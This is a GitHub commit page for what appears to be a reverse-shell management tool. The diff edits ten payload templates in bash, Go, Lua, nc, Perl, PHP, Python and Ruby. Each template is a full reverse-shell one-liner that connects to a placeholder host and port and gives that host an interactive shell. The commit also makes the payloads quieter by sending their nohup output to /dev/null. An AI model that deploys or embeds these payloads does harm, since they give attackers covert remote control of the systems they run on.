Skip to content

Commit

Permalink
[*] direct nohup output to /dev/null
Browse files Browse the repository at this point in the history
  • Loading branch information
WangYihang committed Mar 20, 2021
1 parent 110e9cb commit 26d0754
Show file tree
Hide file tree
Showing 11 changed files with 50 additions and 50 deletions.
2 changes: 1 addition & 1 deletion lib/runtime/template/rsh/bash.tpl
Original file line number Diff line number Diff line change
@@ -1 +1 @@
/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/__HOST__/__PORT__ 0>&1' &
/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/__HOST__/__PORT__ 0>&1' >/dev/null &
2 changes: 1 addition & 1 deletion lib/runtime/template/rsh/go.tpl
Original file line number Diff line number Diff line change
@@ -1 +1 @@
/usr/bin/nohup /bin/bash -c "echo 'package main;import\"os/exec\";import\"net\";func main(){c,_:=net.Dial(\"tcp\",\"__HOST__:__PORT__\");cmd:=exec.Command(\"/bin/sh\");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/platypus.go && go run /tmp/platypus.go && rm /tmp/platypus.go" &
/usr/bin/nohup /bin/bash -c "echo 'package main;import\"os/exec\";import\"net\";func main(){c,_:=net.Dial(\"tcp\",\"__HOST__:__PORT__\");cmd:=exec.Command(\"/bin/sh\");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/platypus.go && go run /tmp/platypus.go && rm /tmp/platypus.go" >/dev/null &
2 changes: 1 addition & 1 deletion lib/runtime/template/rsh/lua.tpl
Original file line number Diff line number Diff line change
@@ -1 +1 @@
/usr/bin/nohup /bin/bash -c 'lua -e "require('\''socket'\'');require('\''os'\'');t=socket.tcp();t:connect('\''__HOST__'\'','\''__PORT__'\'');os.execute('\''/bin/bash -i <&3 >&3'\'');"' &
/usr/bin/nohup /bin/bash -c 'lua -e "require('\''socket'\'');require('\''os'\'');t=socket.tcp();t:connect('\''__HOST__'\'','\''__PORT__'\'');os.execute('\''/bin/bash -i <&3 >&3'\'');"' >/dev/null &
2 changes: 1 addition & 1 deletion lib/runtime/template/rsh/nc.tpl
Original file line number Diff line number Diff line change
@@ -1 +1 @@
/usr/bin/nohup /bin/bash -c "mkfifo /tmp/.platypus;nc __HOST__ __PORT__ 0</tmp/.platypus | /bin/bash | tee /tmp/.platypus" &
/usr/bin/nohup /bin/bash -c "mkfifo /tmp/.platypus;nc __HOST__ __PORT__ 0</tmp/.platypus | /bin/bash | tee /tmp/.platypus" >/dev/null &
2 changes: 1 addition & 1 deletion lib/runtime/template/rsh/perl.tpl
Original file line number Diff line number Diff line change
@@ -1 +1 @@
/usr/bin/nohup /bin/bash -c 'perl -e '\''use Socket;$i="__HOST__";$p=__PORT__;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");system("/bin/bash -i");};'\''' &
/usr/bin/nohup /bin/bash -c 'perl -e '\''use Socket;$i="__HOST__";$p=__PORT__;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");system("/bin/bash -i");};'\''' >/dev/null &
2 changes: 1 addition & 1 deletion lib/runtime/template/rsh/php.tpl
Original file line number Diff line number Diff line change
@@ -1 +1 @@
/usr/bin/nohup /bin/bash -c 'php -r '\''$sock=fsockopen("__HOST__",__PORT__);shell_exec("/bin/bash -i <&3 >&3");'\''' &
/usr/bin/nohup /bin/bash -c 'php -r '\''$sock=fsockopen("__HOST__",__PORT__);shell_exec("/bin/bash -i <&3 >&3");'\''' >/dev/null &
2 changes: 1 addition & 1 deletion lib/runtime/template/rsh/python.tpl
Original file line number Diff line number Diff line change
@@ -1 +1 @@
/usr/bin/nohup /bin/bash -c 'python -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("__HOST__",__PORT__));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);import os; os.system("/bin/bash")'\''' &
/usr/bin/nohup /bin/bash -c 'python -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("__HOST__",__PORT__));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);import os; os.system("/bin/bash")'\''' >/dev/null &
2 changes: 1 addition & 1 deletion lib/runtime/template/rsh/python2.tpl
Original file line number Diff line number Diff line change
@@ -1 +1 @@
/usr/bin/nohup /bin/bash -c 'python2 -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("__HOST__",__PORT__));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);import os; os.system("/bin/bash")'\''' &
/usr/bin/nohup /bin/bash -c 'python2 -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("__HOST__",__PORT__));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);import os; os.system("/bin/bash")'\''' >/dev/null &
2 changes: 1 addition & 1 deletion lib/runtime/template/rsh/python3.tpl
Original file line number Diff line number Diff line change
@@ -1 +1 @@
/usr/bin/nohup /bin/bash -c 'python3 -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("__HOST__",__PORT__));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);import os; os.system("/bin/bash")'\''' &
/usr/bin/nohup /bin/bash -c 'python3 -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("__HOST__",__PORT__));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);import os; os.system("/bin/bash")'\''' >/dev/null &
2 changes: 1 addition & 1 deletion lib/runtime/template/rsh/ruby.tpl
Original file line number Diff line number Diff line change
@@ -1 +1 @@
/usr/bin/nohup /bin/bash -c "ruby -rsocket -e 'exec(\"/bin/bash\",\"-c\",\"/bin/bash -i >/dev/tcp/__HOST__/__PORT__ 0>&1\");'" &
/usr/bin/nohup /bin/bash -c "ruby -rsocket -e 'exec(\"/bin/bash\",\"-c\",\"/bin/bash -i >/dev/tcp/__HOST__/__PORT__ 0>&1\");'" >/dev/null &
80 changes: 40 additions & 40 deletions lib/util/raas/raas_test.go

Large diffs are not rendered by default.

0 comments on commit 26d0754

Please sign in to comment.